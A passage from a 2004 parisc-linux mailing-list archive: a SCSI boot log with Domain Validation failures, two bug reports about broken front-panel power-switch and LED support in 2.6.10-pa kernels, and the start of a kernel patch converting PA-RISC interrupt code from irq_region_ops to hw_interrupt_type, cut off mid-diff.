sym0:9:0: tagged command queuing enabled, command queue depth 16.
 target0:0:9: Beginning Domain Validation
sym0:9:wide msgout: 1-2-3-0.
sym0:9:wide msgin: 1-2-3-0.
sym0:9:wdtr: wide=0 chg=0.
sym0:9:sync msgin: 1-3-1-c-1f.
sym0:9:sdtr: ofs=16 per=12 div=0 fak=0 chg=1.
sym0:9: FAST-20 SCSI 20.0 MB/s ST (50.0 ns, offset 16)
sym0:9:sync msgout: 1-3-1-c-10.
sym0:9:wide msgout: 1-2-3-1.
sym0:9:wide msgin: 1-2-3-1.
sym0:9:wdtr: wide=1 chg=0.
sym0:9:sync msgout: 1-3-1-c-10.
sym0:9:sync msgin: 1-3-1-c-10.
sym0:9:sdtr: ofs=16 per=12 div=0 fak=0 chg=0.
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
 target0:0:9: Domain Validation write buffer length 127
 target0:0:9: Write Buffer failure 8000002
Current DV: sense key Illegal Request
Additional sense: Invalid field in cdb
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-d-10.
sym0:9:sync msgin: 1-3-1-19-10.
sym0:9:sdtr: ofs=16 per=25 div=2 fak=0 chg=0.
sym0:9: FAST-10 WIDE SCSI 20.0 MB/s ST (100.0 ns, offset 16)
 target0:0:9: Write Buffer failure 8000002
Current DV: sense key Illegal Request
Additional sense: Invalid field in cdb
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-25-10.
sym0:9:sync msgin: 1-3-1-25-10.
sym0:9:sdtr: ofs=16 per=37 div=2 fak=2 chg=0.
sym0:9: FAST-10 WIDE SCSI 13.5 MB/s ST (148.0 ns, offset 16)
 target0:0:9: Write Buffer failure 8000002
Current DV: sense key Illegal Request
Additional sense: Invalid field in cdb
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-37-10.
sym0:9:sync msgin: 1-3-1-38-10.
sym0:9:sdtr: ofs=16 per=56 div=4 fak=1 chg=0.
sym0:9: FAST-5 WIDE SCSI 8.9 MB/s ST (224.0 ns, offset 16)
 target0:0:9: Write Buffer failure 8000002
Current DV: sense key Illegal Request
Additional sense: Invalid field in cdb
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-54-10.
sym0:9:sync msgin: 1-3-1-57-10.
sym0:9: wide asynchronous.
sym0:9:0:M_REJECT to send for : 1-3-1-57-10.
sym0:9:sync msgout: 1-3-1-c-0.
sym0:9:sync msgin: 1-3-1-c-0.
sym0:9:sdtr: ofs=0 per=12 div=0 fak=0 chg=0.
 target0:0:9: Write Buffer failure 8000002
Current DV: sense key Illegal Request
Additional sense: Invalid field in cdb
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-7e-0.
sym0:9:sync msgin: 1-3-1-7e-0.
sym0:9:sdtr: ofs=0 per=126 div=0 fak=0 chg=0.
 target0:0:9: Write Buffer failure 8000002
Current DV: sense key Illegal Request
Additional sense: Invalid field in cdb
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-89-0.
sym0:9:sync msgin: 1-3-1-89-0.
sym0:9:sdtr: ofs=0 per=137 div=0 fak=0 chg=0.
 target0:0:9: Write Buffer failure 8000002
Current DV: sense key Illegal Request
Additional sense: Invalid field in cdb
 target0:0:9: Domain Validation Failure, dropping back to Asynchronous
 target0:0:9: Ending Domain Validation
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
  Vendor: TOSHIBA   Model: CD-ROM XM-5301TA  Rev: 1895
  Type:   CD-ROM                             ANSI SCSI revision: 02
 target1:0:2: Beginning Domain Validation
scsi1: (2:0) Asynchronous
scsi1: (2:0) Synchronous at offset 8, period 236ns
 target1:0:2: Domain Validation skipping write tests
 target1:0:2: Ending Domain Validation
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sda: drive cache: write back
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
SCSI device sdb: 17873040 512-byte hdwr sectors (9151 MB)
SCSI device sdb: drive cache: write back
SCSI device sdb: 17873040 512-byte hdwr sectors (9151 MB)
SCSI device sdb: drive cache: write back
 sdb: unknown partition table
Attached scsi disk sdb at scsi0, channel 0, id 9, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.20
Attached scsi CD-ROM sr0 at scsi1, channel 0, id 2, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 6, lun 0,  type 0
Attached scsi generic sg1 at scsi0, channel 0, id 9, lun 0,  type 0
Attached scsi generic sg2 at scsi1, channel 0, id 2, lun 0,  type 5

--Boundary-00=_Drz0B3Wt9jbDrSI
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_Drz0B3Wt9jbDrSI--



From - Thu Nov 08 21:36:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk-X3B1VOXEql0@public.gmane.org>
Newsgroups: gmane.linux.ports.parisc
Subject: front-panel LED and switch support broken (was: 2.6.10-pa1 compile
 fails)
Date: Thu, 30 Dec 2004 13:15:46 +0200 (EET)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0412301311180.17049-100000__12007.20011625$1416624521$gmane$org@hal.pp.fishpool.fi>
References: <Pine.LNX.4.21.0412300029010.28533-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416624521 26572 80.91.229.3 (22 Nov 2014 02:48:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:41 +0000 (UTC)
Cc: parisc-linux-6jwH94ZQLHl74goWV3ctuw@public.gmane.org,
 debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
To: debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller-Mmb7MZpHnFY@public.gmane.org
Original-Received: (qmail invoked by alias); 30 Dec 2004 11:16:10 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx069) with SMTP; 30 Dec 2004 12:16:10 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id A2E392E4D2; Thu, 30 Dec 2004 05:16:01 -0600 (CST)
Old-Return-Path: <q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org>
X-Original-To: debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
Original-Received: from hal.pp.fishpool.fi (hal.fishpool.fi [213.157.66.81])
	by murphy.debian.org (Postfix) with ESMTP id A03402DDCA
	for <debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org>; Thu, 30 Dec 2004 05:15:50 -0600 (CST)
Original-Received: from q-funk (helo=localhost)
	by hal.pp.fishpool.fi with local-esmtp (Exim 3.35 #1 (Debian))
	id 1CjyHS-0004T6-00; Thu, 30 Dec 2004 13:15:46 +0200
In-Reply-To: <Pine.LNX.4.21.0412300029010.28533-100000-4o3fW2yq+lqHldeZ0cibK8c4bpwCjbIv@public.gmane.org>
X-Archive: encrypt
Original-Sender: Martin-Eric Racine <q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org>
X-Rc-Virus: 2004-10-30_01
X-Rc-Spam: 2004-08-29_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_10_25_02 
	(2004-01-11) on newmurphy.debian.org
X-Spam-Status: No, hits=-4.3 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=2.63-lists.debian.org_2004_10_25_02
Resent-Message-ID: <HER2XC.A.6HH.xN-0BB@murphy>
Resent-From: debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
X-Mailing-List: <debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org> archive/latest/4096
X-Loop: debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org>
List-Help: <mailto:debian-hppa-request-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
Resent-Date: Thu, 30 Dec 2004 05:16:01 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25059

On Thu, 30 Dec 2004, Martin-=C9ric Racine wrote:

>    1    551 lines   Text/PLAIN
>    2    107 lines   Text/PLAIN (Name: "drivers_parport_parport_gsc.c.diff=
")
>    3    196 lines   Text/PLAIN (Name: "include_asm-parisc_parport_gsc.h.d=
iff")
>    4    225 lines   Text/PLAIN (Name: "drivers_parport_parport_gsc.h.diff=
")
>=20
> Thanks Joel!  The patches finally made it possible to compile 2.6.10-pa1 =
using:
>=20
> binutils-hppa-linux       2.15-1
> gcc-hppa-linux            3.4.1-1
>=20
> Unless the parisc-linux team sees anything wrong with these patches, woul=
d it be
> possible to merge them into the current CVS tree?=20

However, support for the front-panel LEDs and switches is BROKEN in 2.6.10-=
pa1:
when I press the power switch, it kills the AC power instead of sending a s=
ignal
to the kernel to shut itself down.  OUCH!  The power/status LED is also off=
=2E

--=20
Martin-=C9ric Racine, ICT Consultant
http://www.iki.fi/q-funk/



From - Thu Nov 08 21:36:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk-X3B1VOXEql0@public.gmane.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: front-panel LED and switch support broken (was: 2.6.10-pa1
 compile fails)
Date: Thu, 30 Dec 2004 16:40:38 +0200 (EET)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0412301639570.25032-100000__24065.4631089003$1416624521$gmane$org@hal.pp.fishpool.fi>
References: <Pine.LNX.4.21.0412301311180.17049-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416624521 26574 80.91.229.3 (22 Nov 2014 02:48:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:41 +0000 (UTC)
Cc: parisc-linux-6jwH94ZQLHl74goWV3ctuw@public.gmane.org
To: debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller-Mmb7MZpHnFY@public.gmane.org
Original-Received: (qmail invoked by alias); 30 Dec 2004 14:40:58 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx052) with SMTP; 30 Dec 2004 15:40:58 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 432EF2E8CE; Thu, 30 Dec 2004 08:40:51 -0600 (CST)
Old-Return-Path: <q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org>
X-Original-To: debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
Original-Received: from hal.pp.fishpool.fi (hal.fishpool.fi [213.157.66.81])
	by murphy.debian.org (Postfix) with ESMTP id 52ED52E826
	for <debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org>; Thu, 30 Dec 2004 08:40:40 -0600 (CST)
Original-Received: from q-funk (helo=localhost)
	by hal.pp.fishpool.fi with local-esmtp (Exim 3.35 #1 (Debian))
	id 1Ck1Ti-0007ek-00; Thu, 30 Dec 2004 16:40:38 +0200
In-Reply-To: <Pine.LNX.4.21.0412301311180.17049-100000-4o3fW2yq+lqHldeZ0cibK8c4bpwCjbIv@public.gmane.org>
X-Archive: encrypt
Original-Sender: Martin-Eric Racine <q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org>
X-Rc-Virus: 2004-10-30_01
X-Rc-Spam: 2004-08-29_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_10_25_02 
	(2004-01-11) on newmurphy.debian.org
X-Spam-Status: No, hits=-4.4 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=2.63-lists.debian.org_2004_10_25_02
Resent-Message-ID: <c8AqDD.A._LE.zNB1BB@murphy>
Resent-From: debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
X-Mailing-List: <debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org> archive/latest/4097
X-Loop: debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org>
List-Help: <mailto:debian-hppa-request-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
Resent-Date: Thu, 30 Dec 2004 08:40:51 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25060

On Thu, 30 Dec 2004, Martin-=C9ric Racine wrote:

> On Thu, 30 Dec 2004, Martin-=C9ric Racine wrote:
> However, support for the front-panel LEDs and switches is BROKEN in 2.6.1=
0-pa1:
> when I press the power switch, it kills the AC power instead of sending a=
 signal
> to the kernel to shut itself down.  OUCH!  The power/status LED is also o=
ff.

This is still broken in 2.6.10-pa2 as well.

--=20
Martin-=C9ric Racine, ICT Consultant
http://www.iki.fi/q-funk/



From - Thu Nov 08 21:36:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Remove irq_region_ops
Date: Thu, 30 Dec 2004 18:45:20 +0000
Lines: 633
Approved: news@gmane.org
Message-ID: <20041230184520.GA18080@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624521 26575 80.91.229.3 (22 Nov 2014 02:48:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:41 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Dec 2004 18:46:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx036) with SMTP; 30 Dec 2004 19:46:20 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 561473BE6C; Thu, 30 Dec 2004 11:46:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29350-09; Thu, 30 Dec 2004 11:46:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2F3403BE63; Thu, 30 Dec 2004 11:45:50 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 692203BE53
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 11:45:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29350-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 11:45:26 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 219FB3BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 11:45:26 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id CD6654957B1; Thu, 30 Dec 2004 11:45:25 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id E092D495692
	for <parisc-linux@parisc-linux.org>;
	Thu, 30 Dec 2004 11:45:24 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1Ck5IW-0003oC-JK
	for parisc-linux@parisc-linux.org; Thu, 30 Dec 2004 18:45:20 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25061


This patch switches us to use the generic hw_interrupt_type instead
of irq_region_ops.  We don't use much of it yet; in particular these
ops are still per-region instead of per-interrupt, but this is only the
first step.

Using hw_interrupt_type requires us to pass only one parameter to the
enable and disable ops instead of the current two.  So much of the
code in the disable_irq() and enable_irq() functions needed to move
to the callees that needed the additional argument.

Also, we can only use one name for each interrupt type, so we can't say
"This is a Lasi interrupt, that is a Wax interrupt".  They're all "GSC
ASIC" now.  I also renamed some of the 'busdev' stuff.  All devices are
on a bus; it's not an informative name.

I deleted some checking code that is now obvious couldn't've been tripped.

Some of the includes changed a bit to reflect i386 more closely, and
__syscall_count and __ksoftirqd_task are gone from irq_cpustat_t on most
other arches.

Tested on a 725, mostly with Lasi-based devices.  It'd be nice if someone
tested this on an IOSAPIC-based machine (eg a500/b2000/n4000/j7000/c8000)
I'd like to commit this soon and move onto step 2.

Index: arch/parisc/kernel/irq.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/irq.c,v
retrieving revision 1.18
diff -u -p -r1.18 irq.c
--- arch/parisc/kernel/irq.c	6 Dec 2004 14:35:23 -0000	1.18
+++ arch/parisc/kernel/irq.c	30 Dec 2004 18:18:38 -0000
@@ -68,7 +68,7 @@ static void cpu_set_eiem(void *info)
 	set_eiem((unsigned long) info);
 }
 
-static inline void disable_cpu_irq(void *unused, int irq)
+static inline void disable_cpu_irq(unsigned int irq)
 {
 	unsigned long eirr_bit = EIEM_MASK(irq);
 
@@ -76,7 +76,7 @@ static inline void disable_cpu_irq(void 
         on_each_cpu(cpu_set_eiem, (void *) cpu_eiem, 1, 1);
 }
 
-static void enable_cpu_irq(void *unused, int irq)
+static void enable_cpu_irq(unsigned int irq)
 {
 	unsigned long eirr_bit = EIEM_MASK(irq);
 
@@ -105,16 +105,17 @@ struct irqaction cpu_irq_actions[IRQ_PER
 #endif
 };
 
+static struct hw_interrupt_type cpu_interrupt_type = {
+	.typename	= "CPU",
+	.disable	= disable_cpu_irq,
+	.enable		= enable_cpu_irq,
+};
 
 struct irq_region cpu0_irq_region = {
-	.ops	= {
-			.disable_irq	= disable_cpu_irq,
-			.enable_irq	= enable_cpu_irq,
-	},
+	.type	= &cpu_interrupt_type,
 	.data	= {
-			.dev		= &cpu_data[0],
-			.name		= "PARISC-CPU",
-			.irqbase 	= IRQ_FROM_REGION(CPU_IRQ_REGION),
+		.dev		= &cpu_data[0],
+		.irqbase 	= IRQ_FROM_REGION(CPU_IRQ_REGION),
 	},
 	.action	= cpu_irq_actions,
 };
@@ -139,8 +140,8 @@ void disable_irq(int irq)
 				IRQ_REGION(irq), IRQ_OFFSET(irq), cpu_eiem));
 	irq = irq_canonicalize(irq);
 	region = irq_region[IRQ_REGION(irq)];
-	if (region->ops.disable_irq)
-		region->ops.disable_irq(region->data.dev, IRQ_OFFSET(irq));
+	if (region->type->disable)
+		region->type->disable(irq);
 	else
 		BUG();
 }
@@ -155,8 +156,8 @@ void enable_irq(int irq)
 	irq = irq_canonicalize(irq);
 	region = irq_region[IRQ_REGION(irq)];
 
-	if (region->ops.enable_irq)
-		region->ops.enable_irq(region->data.dev, IRQ_OFFSET(irq));
+	if (region->type->enable)
+		region->type->enable(irq);
 	else
 		BUG();
 }
@@ -205,8 +206,7 @@ int show_interrupts(struct seq_file *p, 
 #endif
 		  seq_printf(p, "%10u ", kstat_cpu(j).irqs[irq_no]);
 
-		seq_printf(p, " %14s",
-			    region->data.name ? region->data.name : "N/A");
+		seq_printf(p, " %14s", region->type->typename);
 #ifndef PARISC_IRQ_CR16_COUNTS
 		seq_printf(p, "  %s", action->name);
 
@@ -471,11 +471,10 @@ static inline int find_free_region(void)
 }
 
 
-/*****
+/**
  * alloc_irq_region - allocate/init a new IRQ region
  * @count: number of IRQs in this region.
- * @ops: function table with request/release/mask/unmask/etc.. entries.
- * @name: name of region owner for /proc/interrupts output.
+ * @type: function table with enable/disable/etc.. entries.
  * @dev: private data to associate with the new IRQ region.
  *
  * Every IRQ must become a MMIO write to the CPU's EIRR in
@@ -485,8 +484,8 @@ static inline int find_free_region(void)
  * IRQ regions virtualize IRQs (eg EISA or PCI host bus controllers)
  * for line based devices.
  */
-struct irq_region *alloc_irq_region( int count, struct irq_region_ops *ops,
-					const char *name, void *dev)
+struct irq_region *alloc_irq_region(int count, struct hw_interrupt_type *type,
+					void *dev)
 {
 	struct irq_region *region;
 	int index;
@@ -506,10 +505,9 @@ struct irq_region *alloc_irq_region( int
 	    count = IRQ_PER_REGION;
 	}
 
-	/* ditto for enable/disable */
-	if( (ops->disable_irq || ops->enable_irq) &&
-		!(ops->disable_irq && ops->enable_irq) )
-			return NULL;
+	if ((type->disable && !type->enable) ||
+	    (!type->disable && type->enable))
+		return NULL;
 
 	region = kmalloc(sizeof(*region), GFP_ATOMIC);
 	if (!region)
@@ -523,9 +521,8 @@ struct irq_region *alloc_irq_region( int
 	}
 	memset(region->action, 0, count * sizeof(*region->action));
 
-	region->ops = *ops;
+	region->type = type;
 	region->data.irqbase = IRQ_FROM_REGION(index);
-	region->data.name = name;
 	region->data.dev = dev;
 
 	irq_region[index] = region;
@@ -707,7 +704,7 @@ unsigned long probe_irq_on(void)
 		action = region->action + i;
 		if (!action->handler) {
 			region->data.status[i] |= IRQ_AUTODETECT | IRQ_WAITING;
-			region->ops.enable_irq(region->data.dev,i);
+			region->type->enable(i);
 		}
 		spin_unlock_irq(&irq_lock);
 	}
@@ -732,7 +729,7 @@ unsigned long probe_irq_on(void)
 			/* It triggered already - consider it spurious. */
 			if (!(status & IRQ_WAITING)) {
 				region->data.status[i] = status & ~IRQ_AUTODETECT;
-				region->ops.disable_irq(region->data.dev,i);
+				region->type->disable(i);
 			} else
 				if (i < BITS_PER_LONG)
 					val |= (1 << i);
@@ -792,7 +789,7 @@ int probe_irq_off(unsigned long val)
 					irq_found = i;
 				nr_irqs++;
 			}
-			region->ops.disable_irq(region->data.dev,i);
+			region->type->disable(i);
 			region->data.status[i] = status & ~IRQ_AUTODETECT;
 		}
 		spin_unlock_irq(&irq_lock);
Index: drivers/parisc/dino.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/dino.c,v
retrieving revision 1.21
diff -u -p -r1.21 dino.c
--- drivers/parisc/dino.c	6 Dec 2004 14:35:23 -0000	1.21
+++ drivers/parisc/dino.c	30 Dec 2004 18:18:40 -0000
@@ -298,30 +298,24 @@ struct pci_port_ops dino_port_ops = {
 	.outl	= dino_out32
 };
 
-static void
-dino_disable_irq(void *irq_dev, int irq)
+static void dino_disable_irq(unsigned int irq_handle)
 {
-	struct dino_device *dino_dev = DINO_DEV(irq_dev);
+	struct irq_region *region = irq_region[IRQ_REGION(irq_handle)];
+	struct dino_device *dino_dev = region->data.dev;
+	int irq = IRQ_OFFSET(irq_handle);
 
 	DBG(KERN_WARNING "%s(0x%p, %d)\n", __FUNCTION__, irq_dev, irq);
 
-	if (NULL == irq_dev || irq > DINO_IRQS || irq < 0) {
-		printk(KERN_WARNING "%s(0x%lx, %d) - not a dino irq?\n",
-			__FUNCTION__, (long) irq_dev, irq);
-		BUG();
-	} else {
-		/*
-		** Clear the matching bit in the IMR register
-		*/
-		dino_dev->imr &= ~(DINO_MASK_IRQ(irq));
-		gsc_writel(dino_dev->imr, dino_dev->hba.base_addr+DINO_IMR);
-	}
+	/* Clear the matching bit in the IMR register */
+	dino_dev->imr &= ~(DINO_MASK_IRQ(irq));
+	gsc_writel(dino_dev->imr, dino_dev->hba.base_addr+DINO_IMR);
 }
 
-static void
-dino_enable_irq(void *irq_dev, int irq)
+static void dino_enable_irq(unsigned int irq_handle)
 {
-	struct dino_device *dino_dev = DINO_DEV(irq_dev);
+	struct irq_region *region = irq_region[IRQ_REGION(irq_handle)];
+	struct dino_device *dino_dev = region->data.dev;
+	int irq = IRQ_OFFSET(irq_handle);
 	u32 tmp;
 
 	DBG(KERN_WARNING "%s(0x%p, %d)\n", __FUNCTION__, irq_dev, irq);
@@ -334,13 +328,6 @@ dino_enable_irq(void *irq_dev, int irq)
 	*/
 	gsc_readl(dino_dev->hba.base_addr+DINO_IPR);
 
-	if (irq > DINO_IRQS) {
-		printk(KERN_WARNING "%s(): %d not a dino irq?\n",
-				__FUNCTION__, irq);
-		BUG();
-		return;
-	}
-
 	/* set the matching bit in the IMR register */
 	dino_dev->imr |= DINO_MASK_IRQ(irq);          /* used in dino_isr() */
 	gsc_writel( dino_dev->imr, dino_dev->hba.base_addr+DINO_IMR);
@@ -363,9 +350,10 @@ dino_enable_irq(void *irq_dev, int irq)
 }
 
 
-static struct irq_region_ops dino_irq_ops = {
-	.disable_irq	= dino_disable_irq,
-	.enable_irq	= dino_enable_irq, 
+static struct hw_interrupt_type dino_interrupt_type = {
+	.typename	= "Dino",
+	.disable	= dino_disable_irq,
